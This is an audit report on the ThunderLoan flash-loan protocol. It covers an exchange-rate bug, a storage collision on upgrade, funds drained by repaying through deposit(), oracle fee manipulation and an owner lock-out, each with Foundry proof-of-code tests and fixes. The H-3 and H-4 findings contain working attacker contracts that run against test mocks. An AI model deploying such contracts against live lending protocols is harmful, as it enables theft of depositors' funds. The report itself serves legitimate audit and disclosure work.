[H-1] TITLE (Root Cause -> Impact) The `ThunderLoan::updateExchangeRate` in the function `ThunderLoan::deposit` blocks redemption of the liquidator and incorrectly sets the exchange rate.

Description: In the function `ThunderLoan::deposit`, the `updateExchangeRate` function is called whose responsible for updating the exchange rate between asset token and the underlying token and keeping track of how much fees to give to the liquidity providers. However, its updating the rate without getting the fees.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: The liquidity providers will get less amount of tokens they deposited or they deserve.

Proof of Concept: 1. Liquidity provider deposits tokens. 2. User flashloans some amount and pays fees 3. Liquidity provider do not get the reward and even gets less amount than they expected or deposited.

Proof of Code

Consider adding the below code to `ThunderLoanTest.t.sol`

```
function testRedeemAferLoad() public setAllowedToken{
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider,10e18);
        uint256 startingBal = tokenA.balanceOf(liquidityProvider);
        tokenA.approve(address(thunderLoan), 10e18);
        thunderLoan.deposit(tokenA, 2e18);
        vm.stopPrank();
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver),10e18);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, 1e18, "");
        vm.stopPrank();
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, 2e18);
        vm.stopPrank();
        uint256 endingBal = tokenA.balanceOf(liquidityProvider);
        assert(startingBal < endingBal);
    }
```

Recommended Mitigation: Just remove the incorrectly updated exchange rate from `ThunderLoan::deposit`

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-2] TITLE (Root Cause -> Impact) There is storage collision happening between `ThunderLoan::s_flashLoanFee` and `ThunderLoanUpgraded::s_flashLoanFee`.

Description: The order of storage variables in the `ThunderLoan` is different from `ThunderLoanUpgraded`.

In the contract `ThunderLoan` the order is:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

And in the contract `ThunderLoanUpgraded` the order is:

```
    uint256 private s_flashLoanFee;
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how the concept of storage works in solidity the `s_flashLoanFee` will get its value over writen by `s_feePrecision`. This can totally break the protocol as wrong values will get assigned.

Impact: Due to this the `s_flashLoanFee` will get its value over writen by `s_feePrecision`. And due to this many errors can happen like user will get wrong fee charged.

Proof of Concept: Consider adding the below test in your `ThunderLoanTest.t.sol`.

Proof of Code

```
    function testStorageCollisionBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        ThunderLoanUpgraded upgrade = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgrade), "");
        uint256 feeAfterUpgrade = upgrade.getFee();
        console.log("feeBeforeUpgrade",feeBeforeUpgrade);
        console.log("feeAfterUpgrade",feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

Recommended Mitigation: Consider using same order of storage variables in your ThunderLoanUpgraded as its used in ThunderLoan.

Receommended to add the following changes in your ThunderLoanUpgraded contract.

```
-    uint256 private s_flashLoanFee;
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 public FEE_PRECISION = 1e18;
+    uint256 private s_flashLoanFee;
```

[H-3] TITLE (Root Cause -> Impact) The funds of the contract can be easily ftolen if the user returns the flash loan to deposit function.

Description: In the contract ThunderLoan any user can get a flash loan by calling the function flashloan, but the main issue in flashloan function as in the end it checks for the contract balance and it its less than the previous balance plus fee it reverts, but what if user repays the flash loan by calling the deposit function instead of repay function then the user can call the withdraw function and just withdraw the amount he deposited which is the flashloan amount plus fee and due to this an attacker can easily drain money from the contract.

Impact: Attacker can easily wipe out all the money the contract has.

Proof of Concept: 1. An user calls the flashloan function and get a flashloan. 2. the flashloan amount is transfered to attackers contract where the function executeOperation gets called. 3. The function has a code which says to call the deposit function and deposit the flashloan amount plus fee. 4. Then the user can call the withdraw function and withdraw the money.

Consider adding the below test code in ThunderLoanTest.t.sol file.

```
function testUseDepositInsteadToRepayFunds() public setAllowedToken hasDeposits{
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        uint256 amountToBorrow = 50e18;
        vm.startPrank(user);
        tokenA.mint(address(dor),1e18);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemMoney();
        vm.stopPrank();
        assert(tokenA.balanceOf(address(dor)) > amountToBorrow);
    }
```

```

contract DepositOverRepay is IFlashLoanReceiver {

    IERC20 s_token;
    ThunderLoan thunderLoan;
    uint256 s_amount;

    constructor(address _thunderLoan) {
    thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address ,
        bytes calldata
    ) external returns (bool){
        s_token = IERC20(token);
        s_amount = amount;
        IERC20(token).approve(address(thunderLoan),100e18);
        thunderLoan.deposit(s_token, amount+fee);
        return true;
    }

    function redeemMoney() external{
        thunderLoan.redeem(s_token, 49e18);
    }

}
```

Recommended Mitigation: Add a check in deposit() to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in flashloan() and checking it in deposit().

[H-4] TITLE (Root Cause -> Impact) Attacker can minimize ThunderLoan::flashloan fee via price oracle manipulation

Description: In the function `flashloan` the fee is calculated by calling the function `getCalculatedFee` , which calls the function `getPriceInWeth` and uses the priceFeed from some TSwap which is similar to Uniswap. So if an attacker deposits a big amount of weth or poolToken to the TSwap contract then the price will definitily fluctuate depending on the amount and type of token user deposits, which will surely have impact on the fee being calculated in `ThunderLoan` contract.

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
            (token))) / s_feePrecision;
        //slither-disable-next-line divide-before-multiply
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

Impact: An attacker will have to pay less fees in for getting the flashloan by calling the `flashLoan` function.

Proof of Concept: The attacking contract implements an executeOperation function which, when called via the ThunderLoan contract, will perform the following sequence of function calls:

1. Calls the mock pool contract to set the price (simulating manipulating the price)
2. Repay the initial loan
3. Re-calls flashloan, taking a large loan now with a reduced fee
4. Repay second loan.

Consider adding the below test code and contract in your `ThunderLoan.sol` file.

```


function testOracleManipulationHappening() public {
        thunderLoan = new ThunderLoan();
        ERC1967Proxy proxy = new ERC1967Proxy(address(thunderLoan), "");
        address liquidator = makeAddr("liquidator");
        ERC20Mock weth = new ERC20Mock();
        ERC20Mock tokenA = new ERC20Mock();
        BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(
            address(weth)
        );
        poolFactory.createPool(address(tokenA));
        address pool = poolFactory.getPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize((address(poolFactory)));

        vm.startPrank(liquidator);
        weth.mint(liquidator, 110e18);
        tokenA.mint(liquidator, 110e18);
        weth.approve(address(pool), 110e18);
        tokenA.approve(address(pool), 110e18);
        BuffMockTSwap(pool).deposit(
            100e18,
            100e18,
            100e18,
            uint64(block.timestamp)
        );
        vm.stopPrank();

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken((tokenA), true);

        address thunderLiquidator = makeAddr("thunderLiquidator");
        vm.startPrank(thunderLiquidator);
        tokenA.mint(thunderLiquidator, 110e18);
        tokenA.approve(address(thunderLoan), 110e18);
        thunderLoan.deposit((tokenA), 100e18);
        uint256 calculatedFeeNormal = thunderLoan.getCalculatedFee(
            tokenA,
            100e18
        );
        vm.stopPrank();
        console.log("calculatedFeeNormal: ", calculatedFeeNormal);

        MaliciousFlashLoanReceiver mali = new MaliciousFlashLoanReceiver(
            address(pool),
            address(thunderLoan),
            address(thunderLoan.getAssetFromToken(tokenA))
        );
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        tokenA.mint(address(mali),100e18);
        weth.mint(attacker, 10e18);
        tokenA.mint(attacker, 10e18);
        thunderLoan.flashloan(address(mali), tokenA, 50e18, "");
        vm.stopPrank();
        uint256 endingtotalFees = mali.feeOne() + mali.feeTwo();
        console.log("endingtotalFees",endingtotalFees);
        assert(endingtotalFees < calculatedFeeNormal);
    }



contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    BuffMockTSwap tswap;
    ThunderLoan thunderLoan;
    address repayAddress;
    uint256 public feeOne;
    uint256 public feeTwo;

    bool attacked;

    constructor(
        address _tswapPool,
        address _thunderLoan,
        address _repayAddress
    ) {
        tswap = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 expected = tswap.getOutputAmountBasedOnInput(
                50e18,
                100e18,
                100e18
            );
            IERC20(token).approve(address(tswap), 50e18);
            tswap.swapPoolTokenForWethBasedOnInputPoolToken(
                50e18,
                expected,
                block.timestamp
            );
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            IERC20(token).transfer(address(repayAddress), amount + feeOne);
        } else {
            feeTwo = fee;
            IERC20(token).transfer(address(repayAddress), amount + feeOne);
        }
        return true;
    }

}
```

Recommended Mitigation: Consider using a manipulation-resistant oracle such as Chainlink priceFeed.

[M-1] TITLE (Root Cause -> Impact) `ThunderLoan::setAllowedToken` can permanently lock liquidity providers out from redeeming their tokens

Description: If the owner of the contract calls the function `ThunderLoan::setAllowedToken` and sets any allowed token to false, this will delete the token from the mapping and any user who deposited this type of token will not be able to redeem them.

Impact:

Proof of Concept: 1. User deposits any allowed token by calling deposit. 2. The owner of the contract sets the token to false by calling `ThunderLoan::setAllowedToken`.

Consider adding the following test in `ThunderLoanTest.t.sol`.

Proof of Code

```
function testUserCannotRedeemDepositedTokens() public {
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        address may = makeAddr("may");
        vm.startPrank(may);
        tokenA.mint(may,10e18);
        tokenA.approve(address(thunderLoan),10e18);
        thunderLoan.deposit(tokenA, 5e18);
        vm.stopPrank();
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, false);
        vm.prank(may);
        vm.expectRevert();
        thunderLoan.redeem(tokenA, 5e18);
    }
```

Recommended Mitigation: Consider adding a check in the function `setAllowedToken` whic says if the balance of that token is more than zero, then that token can never get disabled.

```
function setAllowedToken(IERC20 token, bool allowed) external onlyOwner
    returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ",
               IERC20Metadata(address(token)).name());
            string memory symbol = string.concat("tl", IERC20Metadata(
               address(token)).symbol());
            AssetToken assetToken = new AssetToken(address(this), token
               , name, symbol);
            s_tokenToAssetToken[token] = assetToken;
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        } else {
            AssetToken assetToken = s_tokenToAssetToken[token];
-           delete s_tokenToAssetToken[token];
-           emit AllowedTokenSet(token, assetToken, allowed);
+           uint256 tokenBalance = IERC20(token).balanceOf(address(
   assetToken));
+           if(tokenBalance == 0){
+           delete s_tokenToAssetToken[token];
+           emit AllowedTokenSet(token, assetToken, allowed);
+           }
            return assetToken;
        }
    }
```

[L-1] TITLE (Root Cause -> Impact) Mathematic Operations Handled Without Precision in getCalculatedFee Function in ThunderLoan.sol.

Description: In a manual review of the ThunderLoan.sol contract, it was discovered that the mathematical operations within the getCalculatedFee function do not handle precision appropriately. Specifically, the calculations in this function could lead to precision loss when processing fees. This issue is of low priority but may impact the accuracy of fee calculations.

```
        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
```

Impact: This issue is assessed as low impact. While the contract continues to operate correctly, the precision loss during fee calculations could affect the final fee amounts. This discrepancy may result in fees that are marginally different from the expected values.

Recommended Mitigation: To mitigate the risk of precision loss during fee calculations, it is recommended to handle mathematical operations differently within the getCalculatedFee function. One of the following actions should be taken:

Change the order of operations to perform multiplication before division. This reordering can help maintain precision. Utilize a specialized library, such as math.sol, designed to handle mathematical operations without precision loss. By implementing one of these recommendations, the accuracy of fee calculations can be improved, ensuring that fees align more closely with expected values.

[L-2] TITLE (Root Cause -> Impact) function updateFlashLoanFee should emit an event.

Description: in the function ThunderLoan::updateFlashLoanFee the state of a variable is getting change so its best practise to emit an event.

Impact: The impact of this could be significant because the s_flashLoanFee is used to calculate the cost of the flash loan. If the fee changes and an off-chain service or user is not aware of the change because they didn't query the contract state at the right time, they could end up paying a different fee than they expected.

Recommended Mitigation: Emit an event for critical parameter changes.

```
+ event FeeUpdated(uint256 indexed newFee);

  function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+        emit FeeUpdated(s_flashLoanFee);
    }
```

[I-1] TITLE (Root Cause -> Impact) `ThunderLoan::getAssetFromToken` function can be external instead of public

Description: The function `getAssetFromToken` should be external as it not been used anywhere in the same contract.

Recommended Mitigation: Add the following changes in the `getAssetFromToken` function.

```
-    function getAssetFromToken(IERC20 token) public view returns (AssetToken) {
+    function getAssetFromToken(IERC20 token) external view returns (AssetToken) {
         return s_tokenToAssetToken[token];
     }
```

[I-2] TITLE (Root Cause -> Impact) `ThunderLoan::isCurrentlyFlashLoaning` function can be external instead of public

Description: The function `isCurrentlyFlashLoaning` should be external as it not been used anywhere in the same contract.

Recommended Mitigation:

```
-    function isCurrentlyFlashLoaning(IERC20 token) public view returns (bool) {
+    function isCurrentlyFlashLoaning(IERC20 token) external view returns (bool) {
         return s_currentlyFlashLoaning[token];
     }
```

[I-3] TITLE (Root Cause -> Impact) `ThunderLoan::repay` function can be external instead of public

Description: The function `repay` should be external as it not been used anywhere in the same contract.

Recommended Mitigation:

```
-        function repay(IERC20 token, uint256 amount) public {
+        function repay(IERC20 token, uint256 amount) external {
         if (!s_currentlyFlashLoaning[token]) {
             revert ThunderLoan__NotCurrentlyFlashLoaning();
         }
         AssetToken assetToken = s_tokenToAssetToken[token];
         token.safeTransferFrom(msg.sender, address(assetToken), amount);
     }
     }
```

[I-4] TITLE (Root Cause -> Impact) `ThunderLoan::ThunderLoan__ExhangeRateCanOnlyIncrease` error is not been used.

Description: the error `ThunderLoan__ExhangeRateCanOnlyIncrease` has not been used in the contract, so it should be removed.

Recommended Mitigation: Add the following changes in the `ThunderLoan` contract.

```
-       error ThunderLoan__ExhangeRateCanOnlyIncrease();
        error ThunderLoan__NotCurrentlyFlashLoaning();
```